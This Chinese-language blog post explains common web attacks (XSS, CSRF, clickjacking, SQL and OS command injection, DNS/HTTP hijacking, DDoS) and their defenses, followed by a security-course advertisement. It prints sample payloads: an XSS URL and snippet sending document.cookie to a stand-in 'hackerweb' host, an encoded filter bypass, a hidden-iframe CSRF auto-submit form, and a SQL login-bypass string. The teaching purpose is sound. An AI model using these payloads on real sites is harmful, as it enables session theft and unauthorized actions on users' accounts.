常见Web攻击和防御

最新推荐文章于 2024-07-30 18:26:37 发布
最新推荐文章于 2024-07-30 18:26:37 发布
阅读量748 收藏 27
点赞数 25
文章标签： 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Karka_/article/details/139040604
版权

1. XSS 跨站脚本攻击 (Cross Site Scripting)

攻击方式

1. 反射型 - url参数注入

场景: 诱导已登陆用户点击有害链接(较明显)

链接内容:

  1. 注入攻击站脚本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
  2. 短域名伪造, 会重定向到有脚本注入的url https://dwz.cm

http://hackerweb/hack.js会窃取用户登录态信息等, 如document.cookie 利用img等html元素发送向hackerweb发送带有cookie信息的请求, 从而黑客后台可获取到登录态信息

2. 存储型 - 将script标签注入到数据库

场景:

在网站的评论里(任何能够保存内容的地方)输入带有攻击脚本的文本, 提交后存入数据库, 再次渲染时攻击脚本执行

危害

杀伤力较大, 相当于完全控制网站

  • 获取cookie
document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接获取登录态
  • 发送请求 获取登录态 cookie
var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie
  • 获取页面数据
  • 修改前端逻辑
  • 窃取一切前端可达数据： 用户资料, 登录密码…

防御 (5种)

1. 转义字符 防止在不必要的地方渲染script标签

尖括号 <script> 转义为 &lt;p&gt; 不允许渲染不受信任的脚本 - 转义html标签 设置转义黑名单, 白名单:

// 黑名单
function escape(str) {
  str = str.replace(/&/g, '&amp;');
  str = str.replace(/</g, '&lt;');
  str = str.replace(/>/g, '&gt;');
  str = str.replace(/"/g, '&quto;');
  str = str.replace(/'/g, '&#39;');
  str = str.replace(/`/g, '&#96;');
  str = str.replace(/\//g, '&#x2F;');
  return str;
}

// 白名单
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html);
2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection

X-XSS-Protection report-uri

// ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤
ctx.set('X-XSS-Protection', 1) // 默认 检测到XSS, 清除攻击脚本
ctx.set('X-XSS-Protection', '1;mode=block') // 检测到XSS, 禁止加载页面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 检测到XSS,清除页面并使用CSP report-uri 指令的功能发送违规 报告

测试:

攻击Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>

当网站发现在请求里面有脚本, 不会执行. 报错:

The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.

!!!但是!!! 伪装一下就不行了! 以下url还是可以攻击成功:

http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E

3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP

内容安全策略Content-Security-Policy

ctx.set('Content-Security-Policy', "default-src 'self'") // 只允许加载本站资源
ctx.set('Content-Security-Policy', "img-src https://*") // 只允许加载HTTPS协议图片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不允许加载任何来源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多条规则

CSP指令:

  • default-src：为其他取指令提供备用服务fetch directives.
  • style-src: 限制层叠样式表文件源
  • script-src: 限制JavaScript的源地址.
  • connect-src：限制能通过脚本接口加载的URL.
  • img-src: 限制图片和图标的源地址
  • child-src: 为 web workers 和其他内嵌浏览器内容（例如用和加载到页面的内容）定义合法的源地址.
  • frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址.
  • worker-src: 限制Worker、SharedWorker或者ServiceWorker脚本源.
  • 更多: developer.mozilla.org/zh-CN/docs/…

检测到不符合安全策略的内容, 报错:

Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".

4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly

预防cookie被窃取, 无法通过document.cookie获取信息, 浏览器依然会在请求自动带上cookie 是预防XSS攻击窃取用户cookie最有效的防御手段!

// 设置Cookie时, 设置为HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')

2. CSRF 跨站请求伪造 (Cross Site Request Forgery)

CSRF 利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作

攻击方式

场景:

  • 用户已经登录了站点 A,并在本地记录了 cookie
  • 在用户没有登出站点 A 的情况下（也就是 cookie 生效的情况下）,访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A).
  • 站点 A 没有做任何 CSRF 防御

模拟发送请求(伪造请求), 因为普通用户已经登录, 模拟请求会带上登录态cookie, 从而可以操作(攻击)成功 不直接获取cookie, 利用浏览器行为, 利用登录态

 document.write(`
      <form name="form" action="http://Aweb/updateText" method="post" target="csrf">
        添加评论: <input type="text" name="text" value="CSRF评论.." />
      </form>
      `)
      var iframe = document.createElement('iframe') // 静默加载
      iframe.name = 'csrf'
      iframe.style.display = 'none'
      document.body.appendChild(iframe)
      setTimeout(function() {
        document.querySelector('form').submit(); // 默默提交请求
      },1000)
    </script>

危害

  • 利用用户登录态
  • 用户不知情时攻击
  • 完成业务请求
  • 盗取用户资金（转账,消费）
  • 冒充用户发帖背锅
  • 损害网站声誉

防御

1. Referer Check

验证Header的 Referer字段 是本站地址才允许通过

缺点:仅对Http有效, Https不发送referer

2. 验证码

请求需要验证码辅助

缺点: 用户体验不好, 较麻烦

一般只用于关键请求中

3. Cookie值进行hash

攻击者在访问信任网站A时, 虽然浏览器可以在请求中带上cookie, 但网站A可以不仅仅通过cookie来验证用户身份, 同时还验证 给用户发送内容时生成的伪随机数, 双重验证, 这个伪随机数 不能利用浏览器机制自动加到cookie上, 需要在脚本里面加上, 从而让CSRF攻击者无法利用伪随机数, 也就无法通过验证 用于多数请求中

3. ClickJacking 点击劫持 (视觉欺骗)

攻击方式

既不窃取cookie也不利用cookie, 视觉上欺骗用户主动进行操作

场景:

在攻击网站上嵌入 渲染网站A的frame, 并设置为透明, 在攻击网站设计一些按钮或input 精准对准网站A的按钮或input, 用户操作时实际上不知道自己在网站A做了什么, 从而达到欺骗用户的目的

危害

  • 用户不知情时攻击, 执行了用户不希望的操作

防御

1. X-Frame-Options

X-Frame-Options

ctx.set('X-Frame-Options', 'deny') //表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许.
ctx.set('X-Frame-Options', 'sameorigin') // 表示该页面可以在相同域名页面的 frame 中展示.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示该页面可以在指定来源的 frame 中展示. !!!(Chrome不支持 Firefox支持)
2. js自身通过frame的方式加载内容是破坏自身

是一种比较原始的解决方案

 if(self !== top) { // 从frame加载
      self.document.body.style.display = 'NONE';// 隐藏或删除body的内容
      self.document.body.innerHTML = ''
    }

4. SQL注入

针对数据库的注入

攻击方式

场景: 输入特殊字符串, 传入后台拼接SQL查询字符串, 使其查询结果为真 密码输入 1’ or ‘1’ = ‘1’ 后台查询密码时返回 ‘1’ = '1’的结果, 为真

危害

  • 虚假登录
  • …

防御

1. 数据使用传参的方式, 不使用字符串拼接的方式

所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌 入到 SQL 语句中,即不要直接拼接 SQL 语句.例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数.

2. 数据校验

后端代码检查输入的数据是否符合预期格式,严格限制变量的类型,例如使用正则表达式进行一些匹配处理

3. 严格的权限管理

严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的 减少注入攻击对数据库的危害

4. 特殊字符转义

对进入数据库的特殊字符（',",<,>,&,*,; 等）进行转义处理,或编码转换.基本上所有的后端 语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库.

5. OS命令注入

攻击方式

针对操作系统的注入 OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的. OS命令注入攻击指 通过Web应用,执行非法的操作系统命令达到攻击的目的. 只要在能调用Shell函数的地方就有存在被攻击的风险.倘 若调用Shell时存在疏漏,就可以执行插入的非法命令.

场景:

system命令注入

危害

  • 恶意删除文件
  • 恶意下载执行程序
  • …

防御

类似 SQL注入防御方法

6. 请求劫持 (DNS劫持 HTTP劫持)

DNS劫持

顾名思义, DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip

HTTP劫持

运营商劫持 防御: 此时大概只能升级HTTPS了

7. DDOS (distributed denial of service)

DDOS 攻击的防范教程

不是一种攻击,而是一大类攻击的总称.它有几十种类型,新的攻击方法还在不断发明出来.网站运行的各 个环节,都可以是攻击目标.只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的

常见攻击方式

SYN Flood

此攻击通过向目标发送具有欺骗性源IP地址的大量TCP"初始连接请求"SYN数据包来利用TCP握手.目标机器 响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源.

HTTP Flood

此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服 务.

防御

1. 备份网站

备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求.最低限度应该可以显示公告,告诉用户, 网站出了问题,正在全力抢修.

2. HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker

硬件 服务器 防火墙

3. 带宽扩容 + CDN

提高犯罪成本

接下来我将给各位同学划分一张学习计划表！

学习计划

那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：

阶段一：初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？

阶段二：中级or高级网络安全工程师（看自己能力）

综合薪资区间15k~30k

7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；

Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三：顶级网络安全工程师

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

学习资料分享

当然，只给予计划不给予学习资料的行为无异于耍流氓，这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包，可点击下方二维码链接领取哦。

程序员桔子
关注
最常见的六种web攻击及防御
lyn1772671980的博客
07-14 1881
前言 在互联网时代，数据安全与个人隐私受到了前所未有的挑战，各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据？本文主要侧重于分析几种常见的攻击的类型以及防御的方法。 想阅读更多优质原创文章请猛戳GitHub博客。 一、XSS XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。 跨站脚本攻击有可能造成以下影响:
几种web攻击方式
朱海燕的博客日记
01-03 3756
一、Dos攻击（Denial of Service attack） 　　是一种针对服务器的能够让服务器呈现静止状态的攻击方式。有时候也叫服务停止攻击或拒绝服务攻击。其原理就是发送大量的合法请求到服务器，服务器无法分辨这些请求是正常请求还是攻击请求，所以都会照单全收。海量的请求会造成服务器停止工作或拒绝服务的状态。这就是Dos攻击。 二、DDOS攻击 概念 分布式拒绝服务攻击（Distrib...
常见 Web 安全攻防总结
最新发布
heike_Ch的博客
07-30 454
试试Web 安全的对于 Web 从业人员来说是一个非常重要的课题，所以在这里总结一下 Web 相关的安全攻防知识，希望以后不要再踩雷，也希望对看到这篇文章的同学有所帮助。今天这边文章主要的内容就是分析几种常见的攻击的类型以及防御的方法。也许你对所有的安全问题都有一定的认识，但最主要的还是在编码设计的过程中时刻绷紧安全那根弦，需要反复推敲每个实现细节，安全无小事。本文代码 Demo 都是基于 Node.js 讲解，其他服务端语言同样可以参考。
常见的web攻击手段
diansheshi4163的博客
07-05 354
XSS：跨站脚本攻击 -典型实例为： 当用户在表达输入一段数据后，提交给服务端进行持久化。如果此用户输入的是一段脚本语言，而服务端 用户输入的数据没有经过转码、校验等就存入了数据库，在其他页面需要展示此数据时，就会执行此用户输入的语言。简单来说，JS的强大不用我来解释吧 -推荐防御措施： 对用户输入的信息进行转义，例如<>'等等特殊字符。当然，其实很多前端框架...
web常见的攻击方式
热门推荐
weixin_50736511的博客
04-18 1万+
xss攻击 用户通过浏览器访问web网页，xss攻击通过各种办法在用户访问页面的时候，插入一些自己的代码或者脚本，让用户访问页面的时候，就可以执行这个脚本，攻击者通过插入的脚本的执行就会获得一些信息（比如cookie），发送到攻击者自己的网站，这就是跨站 xss的危害 1.挂马 把一个木马程序插入一个网站中，利用木马生成器生成一个网码，在传到服务器上，加上一写代码就可以让这个木马程序在打开网页的时候运行， 2.盗取用户的cookie 3.DDOS（拒绝服务）客户端浏览器 4.钓鱼攻击 5.删除目标文章，恶意
常见的几种web攻击和对应防御
Grimm的博客
08-17 252
主要的Web攻击类型和防御方法
qq_44430237的博客
05-16 813
遍历是指按照一定的顺序依次访问数据结构中的每个元素的过程。击穿攻击(Web Hammering)指的是攻击者在很短时间内对同一网络资源发起大量并发请求,旨在超出系统的负载上限从而使其发生饱和,造成效率下降甚至瘫痪。总的来说,要采用多层防御 -- 从底层资源主机,到系统架构,再到应用层的负载控制。缓冲区溢出(Buffer Overflow):攻击者通过输入过长的输入,超过程序缓存区大小,来执行任意代码。总的来说,要实施完善的身份认证机制,合理配置会话管理, 同时增强用户的安全意识,方可有效防范相关攻击。
常见web攻击手段及防御措施
qq_36737839的博客
12-30 1312
CSRF 攻击：跨站请求伪造 跨站请求伪造 CSRF (Cross-site request forgery)，是一种挟制用户在当前已登录的 Web 应用程序上执行非本意操作的攻击方法。 ​ 它利用用户已经登录的身份信息，在用户无感的情况下，以用户的名义完成操作。 攻击流程 ​ 一次 CSRF 攻击发生的过程可能是这样： ​ 我们来简述一下图示流程： ​ A. 用户 A 登录购物网站 http://www.example.shop，并获取到 cookie。 ​ B. 攻击者事先知道该购物网站
第八章 Web攻击及防御技术1
08-03
【第八章 Web攻击及防御技术】 在当今互联网普及与Web技术快速发展的时代，Web安全面临着巨大的挑战。随着网络服务和信息的易获取性增加，基于Web的攻击与破坏活动也日益增多，使得安全风险达到了空前的高度。Web...
常见web攻击总结
ltycsdn007的博客
09-05 1329
搞Web开发离不开安全这个话题，确保网站或者网页应用的安全性，是每个开发人员都应该了解的事。本篇主要简单介绍在Web领域几种常见的攻击手段及Java Web中的预防方式。 XSS SQL注入 DDOS CSRF 1. XSS 什么是XSS XSS攻击：跨站脚本攻击(Cross-Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆...
web常见的攻击方式有哪些，以及如何进行防御？
zz130428的博客
12-20 681
DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。针对第一个要素，我们在用户输入的过程中，过滤掉用户输入的恶劣代码，然后提交给后端，但是如果攻击者绕开前端请求，直接构造请求就不能预防了。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目。访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。
Web中常见的攻击方式
javagty6778的博客
03-03 1100
在上段代码中，我们可以看到攻击者在它的页面上构建了一个隐藏的表单，该表单内容就是一个某网站的转账接口，当用户打开该站点之后，这个表单就会被自动执行提交；攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击的网站发送跨站请求。4.当小明看到广告，点开链接，这时，恶意代码就存在在了小明的浏览器上，由于小明的淘宝处于登录状态，所以恶意代码可以获取小明的Cookie，故也能。诱骗用户点击URL带攻击代码的链接，服务器解析后响应，在返回的响应内容中隐藏和嵌入攻击者的XSS代码，被浏览器执行，从而攻击用户。
常见的Web攻击方式及对应防御
PILIpilipala的博客
03-06 416
Web攻击XSS（跨站脚本攻击）CSRF（跨站请求伪造）Http Heads攻击SQL 注入DOS攻击（拒绝服务攻击）DDOS攻击 （分布式拒绝服务攻击） XSS（跨站脚本攻击） 简介： XSS攻击（Cross Site Scripting）通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常JavaScript，但实际上也可以包括Java、VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成
常见的web攻击以及防御方式
dongwei666的博客
05-02 639
web安全XSS、CSRF以及防御方式
web常见的攻击方式有哪些？如何防御？（详细讲解）
贫僧法号依平
04-04 1451
DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。针对第一个要素，我们在用户输入的过程中，过滤掉用户输入的恶劣代码，然后提交给后端，但是如果攻击者绕开前端请求，直接构造请求就不能预防了。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目。访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。
常见的web攻击
m0_69445001的博客
10-09 71
当用户点击一个恶意链接，或者提交一个表单，或者进入一个恶意网站时，注入脚本进入被攻击者的网站。恶意的攻击脚本包含在 URL 中,只有当用户访问了包含恶意脚本的 URL,才会被害。反射型的攻击,攻击脚本不会写入网站的数据库,是一次性的攻击。
web攻击有哪些方式？小白需要知道的几种攻击方式
qq_23681041的博客
08-20 3282
Web攻击 在互联网中，攻击手段数不胜数，我们平时不能以自己只是普通的开发程序员而不是安全方向的开发者为理由，而不去掌握基本的 Web 攻击手段！我们来熟悉一下有哪几种常见的 Web 攻击手段 常见的 Web 攻击手段主要有 XSS 攻击、CSRF 攻击、SQL 注入攻击、DDos 攻击、文件漏洞攻击等。这几种攻击方式的防护手段并不复杂，却还是有很多企业遭受了该攻击，朔源到头，还是因为人为的疏忽。 一、XSS 攻击 XSS 攻击
Web安全深度探讨：攻击与防御策略
该资源主要探讨了Web攻击与防御技术，包括图片验证码作为一种常见的防御手段在Web安全中的应用。文章作者是张玉清，来自国家计算机网络入侵防范中心。章节内容涵盖Web安全概述、Web服务器指纹识别、Web页面盗窃及...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值